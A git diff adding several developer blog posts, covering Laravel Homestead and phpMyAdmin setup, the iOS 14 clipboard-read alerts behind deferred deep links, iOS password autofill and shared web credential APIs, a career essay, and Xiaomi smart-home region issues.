+ * You can find more configuration options in the documentation
+ * in the doc/ folder or at <https://docs.phpmyadmin.net/>.
+ */
+

Mainly add and modify these three settings:

1
+2
+
$cfg['Servers'][$i]['auth_type'] = 'config';
+$cfg['Servers'][$i]['user'] = 'homestead';
+

The default MySQL username and password for homestead are homestead / secret.

Configure Homestead Settings

Open the ~/Homestead/Homestead.yaml configuration file with an editor.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+
---
+ip: "192.168.10.10"
+memory: 2048
+cpus: 2
+provider: virtualbox
+
+authorize: ~/.ssh/id_rsa.pub
+
+keys:
+    - ~/.ssh/id_rsa
+
+folders:
+    - map: ~/Projects/Web
+      to: /home/vagrant/code
+    - map: ~/Homestead/phpMyAdmin
+      to: /home/vagrant/phpMyAdmin
+
+sites:
+    - map: phpMyAdmin.test
+      to: /home/vagrant/phpMyAdmin
+
+databases:
+    - homestead
+
+features:
+    - mysql: false
+    - mariadb: false
+    - postgresql: false
+    - ohmyzsh: false
+    - webdriver: false
+
+#services:
+#    - enabled:
+#        - "postgresql@12-main"
+#    - disabled:
+#        - "postgresql@11-main"
+
+# ports:
+#     - send: 50000
+#       to: 5000
+#     - send: 7777
+#       to: 777
+#       protocol: udp
+
  • IP: The default is 192.168.10.10, can be changed or not
  • provider: The default is virtualbox, only needs to be changed if using Parallels
  • folders: Add - map: ~/Homestead/phpMyAdmin to: /home/vagrant/phpMyAdmin
  • sites: Add - map: phpMyAdmin.test to: /home/vagrant/phpMyAdmin

If you already have a Laravel project, you can also add it here. For example, I put my projects under ~/Projects/Web, so I also add the directory mapping.

sites is to set the local virtual domain and directory mapping. We also need to modify the local Hosts file to add the domain virtual machine mapping:

Use Finder -> Go -> /etc/hosts, find the hosts file; copy it to the desktop (because it cannot be modified directly)

The domain name can be customized as you like, as only your local machine can access it.

Open the copied Hosts file and add the sites record:

1
+
<homestead IP address> <domain name>
+

After modifying, save it, then cut and paste it back to /etc/hosts, overwriting the original file.

Install & Start Homestead Virtual Machine

1
+2
+
cd ~/Homestead
+vagrant up --provision
+

⚠️ Please note that if you do not add --provision, the configuration file will not be updated, and you will get a no input file specified error when entering the URL.

The first time you start it, you need to download the Homestead environment package, which takes a long time.

If no special errors occur, it means the startup was successful. You can then run:

1
+
vagrant ssh
+

ssh into the virtual machine.

Check if phpMyAdmin is correctly connected

Go to http://phpmyadmin.test/ to check if it opens normally.

Success! We encountered a place where we need to operate the database, just come here and modify it directly.

Create a New Laravel Project

If you have an existing project, you can already run it locally from the browser at this step. If not, here is how to create a new Laravel project.

1
+2
+
~/Homestead
+vagrant ssh
+

SSH into the VM, then cd to the code directory:

1
+
cd ./code
+

Run laravel new followed by the project name to create a Laravel project (using blog as an example):

1
+
laravel new blog
+

The blog project has been successfully created!

Next, we need to set up the project to access the test domain locally:

Go back and open the ~/Homestead/Homestead.yaml configuration file.

Add a record in sites:

1
+2
+3
+
sites:
+  - map: myblog.test
+  to: /home/vagrant/code/blog/public
+

Remember to add a corresponding record in hosts:

1
+
192.168.10.10.   myblog.test
+

Finally, restart homestead:

1
+
vagrant reload --provision
+

Enter http://myblog.test in the browser to test if it is correctly set up and running:

Done!

Supplement — Installing Composer on Mac

Although using Homestead means you don’t need to install Composer separately, considering that some PHP projects may not use Laravel, you still need to install Composer locally.

Copy the command from the download section and replace php composer-setup.php with:

1
+
php composer-setup.php - install-dir=/usr/local/bin - filename=composer
+

Composer v2.0.9 example:

1
+2
+3
+4
+
php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
+php -r "if (hash_file('sha384', 'composer-setup.php') === '756890a4488ce9024fc62c56153228907f1545c228516cbf63f885e036d37e9a59d27d63f46af1d4d07ee0f76181c7d3') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;"
+php composer-setup.php --install-dir=/usr/local/bin --filename=composer
+php -r "unlink('composer-setup.php');"
+

Enter the commands sequentially in the terminal.

⚠️Please note not to directly copy and use the above example, as the hash check code will change with Composer version updates.

Enter composer -V to confirm the version and successful installation!

References

If you have any questions or suggestions, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

What's New with Universal Links

Using Python+Google Cloud Platform+Line Bot to Automate Routine Tasks

diff --git a/posts/8a04443024e2/index.html b/posts/8a04443024e2/index.html new file mode 100644 index 0000000000..778e8203c5 --- /dev/null +++ b/posts/8a04443024e2/index.html @@ -0,0 +1,43 @@ + iOS 14 Clipboard Data Theft Panic: The Dilemma of Privacy and Convenience | ZhgChgLi
Home iOS 14 Clipboard Data Theft Panic: The Dilemma of Privacy and Convenience
Post
Cancel

iOS 14 Clipboard Data Theft Panic: The Dilemma of Privacy and Convenience

iOS 14 Clipboard Data Theft Panic: The Dilemma of Privacy and Convenience

Why do so many iOS apps read your clipboard?

Photo by [Clint Patterson](https://unsplash.com/@cbpsc1?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Clint Patterson

⚠️ 2022/07/22 Update: iOS 16 Upcoming Changes

Starting from iOS ≥ 16, if the user does not actively perform a paste action, a prompt will appear when an app attempts to read the clipboard. The user must click allow for the app to access the clipboard information.

[UIPasteBoard’s privacy change in iOS 16](https://sarunw.com/posts/uipasteboard-privacy-change-ios16/){:target="_blank"}

UIPasteBoard’s privacy change in iOS 16

Issue

Top prompt message when the clipboard is read by an app

Top prompt message when the clipboard is read by an app

Starting from iOS 14, users are notified when an app reads their clipboard. This has caused significant privacy concerns, especially with apps from China, which already have a notorious reputation. The media has amplified these concerns, leading to widespread panic. However, it’s not just Chinese apps; many apps from the US, Taiwan, Japan, and around the world have been found to read the clipboard. So why do so many apps need to read the clipboard?

Google Search

Google Search

Security

The clipboard may contain personal information or even passwords, such as those copied from password managers like 1Password or LastPass. Apps that can read the clipboard can potentially send this information back to their servers, depending on the developer’s integrity. To investigate, one can use man-in-the-middle sniffing to monitor the data being sent back to the app’s servers to see if it includes clipboard information.

Background

The Clipboard API has been available since iOS 3 in 2009. It wasn’t until iOS 14 that a prompt was added to notify users. Over the past decade, malicious apps could have already collected enough data.

Why

Why do so many apps, both domestic and international, read the clipboard when opened?

First, let’s define the situation: I’m referring to “when the app is opened”, not when the app is actively being used. Reading the clipboard during app usage is more related to app functionality, such as Google Maps automatically pasting a copied address. However, some apps may continuously steal clipboard information.

“A kitchen knife can be used to cut vegetables or to kill, depending on what the person using it intends to do.”

The main reason the APP reads the clipboard when opened is to enhance the user experience through “ iOS Deferred Deep Link “, as shown in the process above. When a product offers both a web version and an APP, we prefer users to install the APP (as it has higher engagement). Therefore, when users browse the web version, they are guided to download the APP. We hope that after downloading and opening the APP, it will automatically open the page where the user left off on the web.

EX: When I browse the PxHome mobile web version on Safari -> see a product I like and want to buy -> PxHome wants to direct traffic to the APP -> download the APP -> open the APP -> display the product I saw on the web.

If we don’t do this, users can only 1. Go back to the web and click again, or 2. Search for the product again in the APP. Both options increase the difficulty and hesitation time for users to make a purchase, which might result in them not buying at all!

From an operational perspective, knowing the source of successful installations is very helpful for marketing and advertising budget allocation.

Why use the clipboard? Are there any alternatives?

This is a cat-and-mouse game because Apple does not want developers to have a way to track user sources. Before iOS 9, the method was to store information in web cookies and read them after the APP was installed. After iOS 10, Apple blocked this method. With no other options, everyone resorted to the final technique — “using the clipboard to transmit information.” iOS 14 introduced a new feature that alerts users, making developers awkward.

Another method is using Branch.io to record user profiles (IP, phone information) and then match the information. This is theoretically feasible but requires a lot of manpower (involving backend, database, APP) to research and implement, and it may result in misjudgments or collisions.

*Android Google supports this feature natively, without the need for such workarounds.

Affected APPs

Many APP developers may not know they also have clipboard privacy issues because Google’s Firebase Dynamic Links service uses the same principle:

1
+2
+3
+4
+5
+
// Reason for this string to ensure that only FDL links, copied to clipboard by AppPreview Page
+// JavaScript code, are recognized and used in copy-unique-match process. If user copied FDL to
+// clipboard by himself, that link must not be used in copy-unique-match process.
+// This constant must be kept in sync with constant in the server version at
+// durabledeeplink/click/ios/click_page.js
+

Therefore, any APP using Google’s Firebase Dynamic Links service may have clipboard privacy issues!

Personal Opinion

There are security issues, but it boils down to trust. Trust that developers are doing the right thing. If developers want to do evil, there are more effective ways, such as stealing credit card information or recording real passwords.

The purpose of the alert is to let users notice when the clipboard is being read. If it’s unreasonable, be cautious!

Reader Questions

Q: “TikTok responded that accessing the clipboard is to detect spam behavior.” Is this statement correct?

A: I personally think it’s just an excuse to appease public opinion. TikTok means “to prevent users from copying and pasting ad messages everywhere.” But this can be done when the message is completed or sent, without constantly monitoring the user’s clipboard information. Do they also need to manage if the clipboard has ads or “sensitive” information? I haven’t pasted and published it yet.

What Developers Can Do

If you don’t have a spare device to upgrade to iOS 14 for testing, you can download XCode 12 from Apple and test it using the simulator.

Everything is still very new. If you are using Firebase, you can refer to Firebase-iOS-SDK/Issue #5893 and update to the latest SDK.

If you are implementing DeepLink yourself, you can refer to the modifications in Firebase-iOS-SDK #PR 5905:

Swift:

1
+2
+3
+4
+5
+6
+7
+
if #available(iOS 10.0, *) {
+  if (UIPasteboard.general.hasURLs) {
+      //UIPasteboard.general.string
+  }
+} else {
+  //UIPasteboard.general.string
+}
+

Objective-C:

1
+2
+3
+4
+5
+6
+7
+8
+9
+
if (@available(iOS 10.0, *)) {
+    if ([[UIPasteboard generalPasteboard] hasURLs]) {
+      //[UIPasteboard generalPasteboard].string;
+    }
+  } else {
+    //[UIPasteboard generalPasteboard].string;
+  }
+  return pasteboardContents;
+}
+

First, check if the clipboard content is a URL (in line with the content copied by web JavaScript being a URL with parameters). If it is, then read it, so the clipboard won’t be read every time the app is opened.

Currently, this is the only way. The prompt will still appear, but it will be more focused.

Additionally, Apple has introduced a new API: DetectPattern to help developers more accurately determine if the clipboard information is what we need, then read it and prompt, making users feel more secure while developers can continue to use this feature.

DetectPattern is still in Beta and can only be implemented using Objective-C.

Or…

  • Switch to Branch.io
  • Implement the principle of Branch.io yourself
  • The app first shows a customized alert to inform the user before reading the clipboard (to reassure the user)
  • Add new privacy terms
  • iOS 14’s latest App Clips? Web -> Guide to App Clips for lightweight use -> Deep operation guide to the app

Further Reading

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Real-World Codable Decoding Issues (Part 2)

Write Run Script Directly in Swift with Xcode!

diff --git a/posts/8d863bcd1c55/index.html b/posts/8d863bcd1c55/index.html new file mode 100644 index 0000000000..f76e7cc517 --- /dev/null +++ b/posts/8d863bcd1c55/index.html @@ -0,0 +1 @@ + Always Keep the Enthusiasm for Exploring New Things | ZhgChgLi
Home Always Keep the Enthusiasm for Exploring New Things
Post
Cancel

Always Keep the Enthusiasm for Exploring New Things

Always Keep the Enthusiasm for Exploring New Things

The life opportunity from stepping into the information field to switching to iOS APP development

Bangkok 2018 - [Z Realm — You are not alone on the road to solving problems](https://medium.com/u/8854784154b8){:target="_blank"}

Bangkok 2018 - Z Realm — You are not alone on the road to solving problems

Time flies, it’s been a year since I switched from Back End to developing Mobile iOS APPs, and a month since I started writing on Medium. For this 10th small milestone, let me write about my experience of breaking through and switching tracks.

Always Keep the Enthusiasm for Exploring New Things

“The instinct to explore drives great human achievements.” From Columbus exploring the oceans and discovering new continents, the Wright brothers improving airplanes to conquer the skies, to now leaving Earth to explore outer space; only by being passionate about new things can we continuously surpass ourselves. Perhaps we cannot be as great as Armstrong, but as he said, “One small step for a man, one giant leap for mankind.” Do not underestimate your creativity and talents.

Opportunity

When opportunities come, grasp them well because there is no guarantee of a second chance. You might hesitate, thinking the next one might be better or fearing you made the wrong decision, but “Who knows? Will the sun rise first or will an accident happen first” If there are no negative impacts, then open your arms and seize the opportunity!

Going back to 2009, when I just entered the first year of high school at Chang Kung Comprehensive High School, I learned by chance that the school was training students to participate in competitions. My initial thought was, “Since there’s nothing to do at home, why not learn something?” So I signed up and joined; this was the first turning point in my life, stepping into the information field. Joining the training was tough, practicing every day after school, on weekends, and during winter and summer vacations for three years. The risk was high; if you didn’t place in the competition, you almost got nothing. But looking back, I’m glad I seized this opportunity (I’ll share more about the journey of being a contestant later).

[National Skills Competition](https://sc.wdasec.gov.tw/home.jsp?pageno=201111010001){:target="_blank"} - Ministry of Labor Workforce Development Agency

National Skills Competition - Ministry of Labor Workforce Development Agency

This opportunity taught me many skills for making a living, such as design tools like Illustrator/Photoshop/Flash, and engineering tools like PHP/MySQL/HTML/CSS/JavaScript/jQuery. I also got admitted to National Taiwan University of Science and Technology through the competition champion qualification. Looking back, I’m really glad I seized this opportunity!

Fast forward to 2017, after graduating from university, I entered the workforce as a back-end engineer. In terms of web development, I mainly specialized in back-end (Laravel) during university, and didn’t research much on the front-end, using ready-made frameworks (Bootstrap/Semantic UI).

At this point, I hit a bottleneck, being in the same field for too long without any breakthrough development. So I set new goals for myself:

  1. Continue to delve deeper into the back-end
  2. Switch to marketing (GA)/planning field
  3. Learn a new language/write an APP

At this time, another opportunity appeared. The project I joined was about to start developing a mobile platform application. Initially, my plan was to write the API back-end, using Laravel with some new technologies, which would also be a kind of breakthrough for me. Here, I must mention that when making decisions, you should look far ahead. My initial choice to continue with the back-end was due to inertia and the high perceived cost of stepping into a new field, as I didn’t have a Mac and it was a completely new area. Fortunately, with my supervisor’s guidance, I eventually chose to step into iOS APP development.

Now, in 2018, it’s been exactly a year since I started developing iOS APPs. The gains include learning a new language, Swift, iOS APP development, the sense of achievement from launching my own APP, and starting to write on Medium. I’m glad I seized this opportunity, as it opened another window for my career!

Insights for Back-End Engineers Switching to iOS APP Development

“Isn’t programming all the same?” Switching fields is like switching mountains…

Having someone guide you initially can speed things up because many concepts are quite different from web development. You’ll go through a period of hitting walls, but hang in there! You’ll see the light of success!

I myself hit walls for almost a month. After getting a bit of a grasp, you’ll encounter the second wall period. At this point, you need to become more resilient, learn from mistakes, and trade time for experience (if you don’t have enough time, consider taking an introductory course or finding a mentor).

  • Development Environment: In the past, writing PHP, we used Sublime, hit Ctrl+S, then Ctrl+Tab to switch to the browser and Ctrl+R to quickly see the results. Now, you need to use Xcode and deploy to a simulator or phone to see the results. This part helps improve my impatience XD.
  • Language: Swift is more modern, strongly typed, and structured. It might be a bit unfamiliar at first, but once you get the hang of it, it’s no problem.
  • Storyboard/Interface Builder: This part lowers the entry barrier for beginners. If you had to code the UI from the start, it would be much harder to learn. You can directly play with the UI visually, learn layout, and connect Outlets.
  • Memory and Page Layout Structure: This is something to pay more attention to and is part of what I mean by trading time for experience. In the past, web development had no limits; you could do whatever you wanted. For example, with tables, you just wrote <table> and ran a PHP loop to display data. But in an app, you need to use the UITableView component to implement it (I remember using UIView to layout and happily telling my supervisor I was done, only to find out it caused a huge memory explosion). Other aspects like memory leaks also need more attention!
  • App Deployment: App development requires more caution and meticulous testing. Unlike web pages where you can fix errors immediately, iOS app versions need to be reviewed, and you can’t downgrade if there are bugs. So fixing a bug takes at least a day, greatly affecting users!
  • User Reviews: Users can give you the most direct feedback.

Five stars warm the heart, one star breaks it

Five stars warm the heart, one star breaks it

Summary

[@returntothesources](http://returntothesources.blogspot.com/2015/02/life-is-like-box-of-chocolates.html){:target="_blank"}

@returntothesources

Life is interesting because of its uncertainties. For the opportunities that come, if you choose to seize them, you’ll gain something; if you choose to let go, the next opportunity might be better. There’s no right or wrong. Just trust your intuition: “Choose what you love, love what you choose.”

Expectations for Myself

Currently still a novice, I will continue to delve into iOS app development, learning and growing towards the future, seeking breakthroughs, and maintaining the habit of writing on Medium. What will the next opportunity be? I’m looking forward to it!

If you have any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Handling Push Notification Permission Status from iOS 9 to iOS 12 (Swift)

Add 'App Notification Settings Page' Shortcut in User's 'Settings' on iOS ≥ 12 (Swift)

diff --git a/posts/948ed34efa09/index.html b/posts/948ed34efa09/index.html new file mode 100644 index 0000000000..586bf5a06a --- /dev/null +++ b/posts/948ed34efa09/index.html @@ -0,0 +1,137 @@ + iOS Cross-Platform Account and Password Integration to Enhance Login Experience | ZhgChgLi
Home iOS Cross-Platform Account and Password Integration to Enhance Login Experience
Post
Cancel

iOS Cross-Platform Account and Password Integration to Enhance Login Experience

iOS Cross-Platform Account and Password Integration to Enhance Login Experience

A feature more worthwhile than Sign in with Apple

Photo by [Dan Nelson](https://unsplash.com/@danny144?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Dan Nelson

Features

One of the most common problems in services that have both a website and an app is that users register and log in on the website, with passwords remembered; but when guided to install the app, they find it very inconvenient to re-enter their account and password from scratch. This feature allows the existing account and password on the phone to be automatically filled into the app associated with the website, speeding up the user login process.

Effect Diagram

Without further ado, here is the completed effect diagram; at first glance, you might think it’s the iOS ≥ 11 Password AutoFill feature; but please look carefully, the keyboard did not pop up, and I clicked the “Choose Saved Password” button to bring up the account and password selection window.

Since Password AutoFill is mentioned, let me first introduce Password AutoFill and how to set it up!

Password AutoFill

Support: iOS ≥ 11

By now, iOS 14, this feature is very common and nothing special; on the account and password login page in the app, when the keyboard is called up for input, you can quickly select the account and password of the web version service, and after selection, it will be automatically filled in for quick login!

So how do the app and web recognize each other?

Associated Domains! We specify Associated Domains in the app and upload the apple-app-site-association file on the website, and they can recognize each other.

1. In the project settings “Signing & Capabilities” -> Top left “+ Capabilities” -> “Associated Domains”

Add webcredentials:your website domain (ex: webcredentials:google.com).

2. Go to Apple Developer Console

In the “ Membership “ tab, record the “ Team ID

3. Go to “Certificates, Identifiers & Profiles” -> “Identifiers” -> Find your project -> Enable the “Associated Domains” feature

App-side settings completed!

4. Web Site Configuration

Create a file named “apple-app-site-association” (without an extension), edit it with a text editor, and enter the following content:

1
+2
+3
+4
+5
+6
+7
+
{
+  "webcredentials": {
+    "apps": [
+      "TeamID.BundleId"
+    ]
+  }
+}
+

Replace TeamID.BundleId with your project settings (e.g., TeamID = ABCD, BundleID = li.zhgchg.demoapp => ABCD.li.zhgchg.demoapp).

Upload this file to the website’s root directory or /.well-known directory. Assuming your webcredentials website domain is set to google.com, this file should be accessible at google.com/apple-app-site-association or google.com/.well-known/apple-app-site-association.

Note: Subdomains

According to the official documentation, if there are subdomains, they must all be listed in the Associated Domains.

Web Configuration Complete!

Note: applinks

It has been observed that if a universal link applinks has been set, the webcredentials part is not necessary for it to be effective. However, we will follow the documentation to avoid potential issues in the future.

Back to the Program

For the code part, we only need to set the TextField as follows:

1
+2
+
usernameTextField.textContentType = .username
+passwordTextField.textContentType = .password
+

If it is a new registration, the password confirmation field can use:

1
+
repeatPasswordTextField.textContentType = .newPassword
+

After rebuilding and running the app, the option to use saved passwords from the same website will appear above the keyboard when entering the account.

Done!

Not Appearing?

It might be because the autofill password feature is not enabled (it is disabled by default in the simulator). Go to “Settings” -> “Passwords” -> “Autofill Passwords” -> Enable “Autofill Passwords”.

Alternatively, the website might not have any existing passwords. You can add one in “Settings” -> “Passwords” -> Top right corner “+” -> Add.

Getting to the Main Topic

After introducing Password AutoFill, let’s move on to the main topic: how to achieve the effect shown in the illustration.

Shared Web Credentials

Introduced in iOS 8.0, although rarely seen in apps before Password AutoFill was released, this API can integrate website account passwords for quick user selection.

Shared Web Credentials can not only read account passwords but also add, modify, and delete stored account passwords.

Configuration

⚠️ The configuration part must also set up Associated Domains, as mentioned in the Password AutoFill setup.

So it can be said to be an enhanced version of the Password AutoFill feature!!

Because the environment required for Password AutoFill must be set up first to use this “advanced” feature.

Reading

Reading is done using the SecRequestSharedWebCredential method:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+
SecRequestSharedWebCredential(nil, nil) { (credentials, error) in
+  guard error == nil else {
+    DispatchQueue.main.async {
+      //alert error
+    }
+    return
+  }
+  
+  guard CFArrayGetCount(credentials) > 0,
+    let dict = unsafeBitCast(CFArrayGetValueAtIndex(credentials, 0), to: CFDictionary.self) as? Dictionary<String, String>,
+    let account = dict[kSecAttrAccount as String],
+    let password = dict[kSecSharedPassword as String] else {
+      DispatchQueue.main.async {
+        //alert error
+      }
+      return
+    }
+    
+    DispatchQueue.main.async {
+      //fill account,password to textfield
+    }
+}
+

SecRequestSharedWebCredential(fqdn, account, completionHandler)

  • fqdn If there are multiple webcredentials domains, you can specify one, or use null to not specify
  • account Specify a particular account to query, use null to not specify

Effect image. (You may notice it is different from the initial effect image)

⚠️ This method has been marked as Deprecated in iOS 14!

⚠️ This method has been marked as Deprecated in iOS 14!

⚠️ This method has been marked as Deprecated in iOS 14!

"Use ASAuthorizationController to make an ASAuthorizationPasswordRequest (AuthenticationServices framework)"

This method is only applicable for iOS 8 ~ iOS 14. After iOS 13, you can use the same API as Sign in with AppleAuthenticationServices

AuthenticationServices Reading Method

Support iOS ≥ 13

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+
import AuthenticationServices
+
+class ViewController: UIViewController {
+  override func viewDidLoad() {
+      super.viewDidLoad()
+      //...
+      let request: ASAuthorizationPasswordRequest = ASAuthorizationPasswordProvider().createRequest()
+      let controller = ASAuthorizationController(authorizationRequests: [request])
+      controller.delegate = self
+      controller.performRequests()
+      //...
+  }
+}
+
+extension ViewController: ASAuthorizationControllerDelegate {
+    func authorizationController(controller: ASAuthorizationController, didCompleteWithAuthorization authorization: ASAuthorization) {
+        
+        if let credential = authorization.credential as? ASPasswordCredential {
+          // fill credential.user, credential.password to textfield
+        }
+        // else if as? ASAuthorizationAppleIDCredential... sign in with apple
+    }
+    func authorizationController(controller: ASAuthorizationController, didCompleteWithError error: Error) {
+        // alert error
+    }
+}
+

Effect image, you can see that the new method integrates better with Sign in with Apple in terms of process and display.

⚠️ This login cannot replace Sign in with Apple (they are different things).

Writing Account and Password to “Passwords”

Only the reading part is deprecated, the parts for adding, deleting, and editing can still be used as usual.

The parts for adding, deleting, and editing use SecAddSharedWebCredential for operations.

1
+2
+3
+4
+5
+6
+7
+8
+9
+
SecAddSharedWebCredential(domain as CFString, account as CFString, password as CFString?) { (error) in
+  DispatchQueue.main.async {
+    guard error == nil else {
+      // alert error
+      return
+    }
+    // alert success
+  }
+}
+

SecAddSharedWebCredential(fqdn, account, password, completionHandler)

  • fqdn can freely specify the domain to be stored, it does not necessarily have to be in webcredentials
  • account specifies the account to be added, modified, or deleted
  • To delete data, set password to nil
  • Processing logic:
    • account exists & password is provided = modify password
    • account exists & password is nil = delete account and password from domain
    • account does not exist & password is provided = add account and password to domain

⚠️ Additionally, you cannot modify in the background secretly; a prompt will appear each time you modify, asking the user to confirm by clicking “Update Password” to actually change the data.

Password Generator

The last small feature, the password generator.

Use SecCreateSharedWebCredentialPassword() to operate.

1
+
let password = SecCreateSharedWebCredentialPassword() as String? ?? ""
+

The generated password consists of uppercase and lowercase English letters and numbers, using “-“ as a separator (e.g., Jpn-4t2-gaF-dYk).

Complete Test Project Download

Room for Improvement

If you use third-party password management tools (e.g., onepass, lastpass), you might notice that while Password AutoFill on the keyboard supports display & input, it does not show up in AuthenticationServices or SecRequestSharedWebCredential. It’s unclear if this can be achieved.

Conclusion

Thank you for reading, and thanks to saiday and StreetVoice for letting me know about this feature XD.

Also, XCode ≥ 12.5 simulators have added recording and GIF saving features, which are super useful!

Press “Command” + “R” on the simulator to start recording, click the red dot to stop recording; right-click on the preview image that slides out from the bottom right -> “Save as Animated GIF” to save it as a GIF and directly paste it into the article!

For any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Comprehensive Guide to Implementing Local Cache with AVPlayer

What's New with Universal Links

diff --git a/posts/94a4020edb82/index.html b/posts/94a4020edb82/index.html new file mode 100644 index 0000000000..9c2c4e9566 --- /dev/null +++ b/posts/94a4020edb82/index.html @@ -0,0 +1 @@ + Mi Home APP / Xiao Ai Speaker Region Issues | ZhgChgLi
Home Mi Home APP / Xiao Ai Speaker Region Issues
Post
Cancel

Mi Home APP / Xiao Ai Speaker Region Issues

Mi Home APP / Xiao Ai Speaker Region Issues

Newly purchased Xiaomi Air Purifier 3 & recording the linkage issues between Mi Home and Xiao Ai Speaker

Preface

This is the fourth article about Xiaomi; recently added a new member — “Xiaomi Air Purifier 3” Honestly, I never cared about the air quality in my room. Seeing the foggy outdoor air always made me a bit worried, and since I have long-term nasal allergies, I decided to buy one for my room!

The new generation has a small screen on the main unit that shows the remaining filter usage time, current air quality, and operation mode selection. It can be used without connecting to the APP; if connected to the APP, it can be controlled remotely, but there are no other special functions.

After two weeks of use, I found that the air quality in the room is quite good; when the outdoor air is good, the indoor air quality value is around 001~006; when the outdoor air is bad, the indoor value is about 008~015; values over 75 are considered poor air quality, and over 150 is considered severe; I should have bought a vacuum cleaner instead XD But having a small air guardian at home is also quite nice.

Mi Home Smart Home Region Function Restrictions

The Mi Home APP has two regions to choose from: Taiwan and China; the region selection affects the functions within the APP. When setting it up initially, I chose the China region, thinking that data is not safe in any region, so I might as well choose the one with more functions to play with.

After adding the Xiao Ai Speaker last year, I noticed a more complex issue with region selection; if you want to control Mi Home smart appliances from the Xiao Ai Speaker, both APPs must be set to the same region, otherwise, they cannot be linked. This is quite troublesome because if the Xiao Ai Speaker is set to Taiwan, it can pair with KKBOX but the smart functions are a stripped-down version (missing Xiao Ai training).

Therefore, my Xiao Ai Speaker was originally set to the China region. I didn’t encounter any problems when adding previously purchased appliances, and finally, I was able to establish a complete smart home process: saying goodbye to Xiao Ai when leaving would automatically turn off all appliances and turn on the door camera; saying I’m home would automatically turn on the appliances. The experience was quite smooth!

Left: Taiwan/Right: China

Left: Taiwan/Right: China

Adding Xiaomi Air Purifier 3

Having bought so many Xiaomi home products, the new member must also join my Mi Home APP! However, I encountered a problem when adding it; the Taiwan version of the Xiaomi Air Purifier 3 could not be added to my Mi Home APP. I had to switch the Mi Home APP region back to Taiwan to add it…

This was troublesome, as only the air purifier could not be added; no matter how I tried, it seemed that the pairing methods for Taiwan and China were different. Reluctantly, I had to switch the region back to Taiwan and reset all appliances… The Xiao Ai Speaker was also switched back to Taiwan.

Xiao Ai Speaker + Mi Home Smart Home Scene Control

Due to switching the region back to Taiwan, the “Xiao Ai Training” function was lost; it was impossible to set up vocabulary to execute corresponding Mi Home smart home scenes directly in the APP. After multiple attempts, I found that if the smart home is linked and authorized to the Mi Home APP, the scenes and appliances will still automatically link to the Xiao Ai Speaker for authorized control!

BUG

My scene “I’m home” could be correctly recognized and executed by the Xiao Ai Speaker, but “I’m leaving” could not be recognized. After trying for an entire afternoon, I found it was a traditional and simplified Chinese issue; when I changed the scene name to “出门” (simplified), the Xiao Ai Speaker could recognize and execute it correctly.

So, friends who have issues with scene execution might want to change the scene name and device name to simplified Chinese.

Done! This way, you can continue to use the Mi Home smart home with the APP region set to Taiwan, maintaining the original experience.

Further Reading

  1. First Experience with Smart Home — Apple HomeKit & Xiaomi Mi Home (Mi Home Smart Camera and Mi Home Smart Desk Lamp, Homekit Setup Tutorial)
  2. New Additions to Xiaomi Smart Home (AI Speaker, Temperature and Humidity Sensor, Scale 2, DC Inverter Fan)
  3. Using “Shortcuts” Automation Feature with Mi Home Smart Home on iOS ≥ 13.1 (Directly using the built-in Shortcuts APP on iOS ≥ 13.1 for automation)
  4. [Advanced] Demonstration of Using Raspberry Pi as HomeBridge Host to Connect All Mi Home Appliances to HomeKit

If you have any questions or suggestions, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

iOS UIViewController Transition Techniques

Medium One-Year Review

diff --git a/posts/9659db1357e4/index.html b/posts/9659db1357e4/index.html new file mode 100644 index 0000000000..ca3a983791 --- /dev/null +++ b/posts/9659db1357e4/index.html @@ -0,0 +1,743 @@ + Quickly Build a Testable API Service Using Firebase Firestore + Functions | ZhgChgLi
Home Quickly Build a Testable API Service Using Firebase Firestore + Functions
Post
Cancel

Quickly Build a Testable API Service Using Firebase Firestore + Functions

Quickly Build a Testable API Service Using Firebase Firestore + Functions

When push notification statistics meet Firebase Firestore + Functions

Photo by [Carlos Muza](https://unsplash.com/@kmuza?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Carlos Muza

Introduction

Accurate Push Notification Statistics

Recently, I wanted to introduce a feature to the APP. Before implementation, we could only use the success or failure of posting data to APNS/FCM from the backend as the base for push notifications and record the click-through rate. However, this method is very inaccurate as the base includes many invalid devices. Devices with the APP deleted (which may not immediately become invalid) or with push notifications disabled will still return success when posting from the backend.

After iOS 10, you can implement the Notification Service Extension to secretly call an API for statistics when the push notification banner appears. The advantage is that it is very accurate; it only calls when the user’s push notification banner appears. If the APP is deleted, notifications are turned off, or the banner is not displayed, there will be no action. The banner appearing equals a push notification message, and using this as the base for push notifications and then counting the clicks will give an “accurate click-through rate.”

For detailed principles and implementation methods, refer to the previous article: “iOS ≥ 10 Notification Service Extension Application (Swift)”

Currently, the APP’s loss rate should be 0% based on tests. A common practical application is Line’s point-to-point message encryption and decryption (the push notification message is encrypted and decrypted only when received on the phone).

Problem

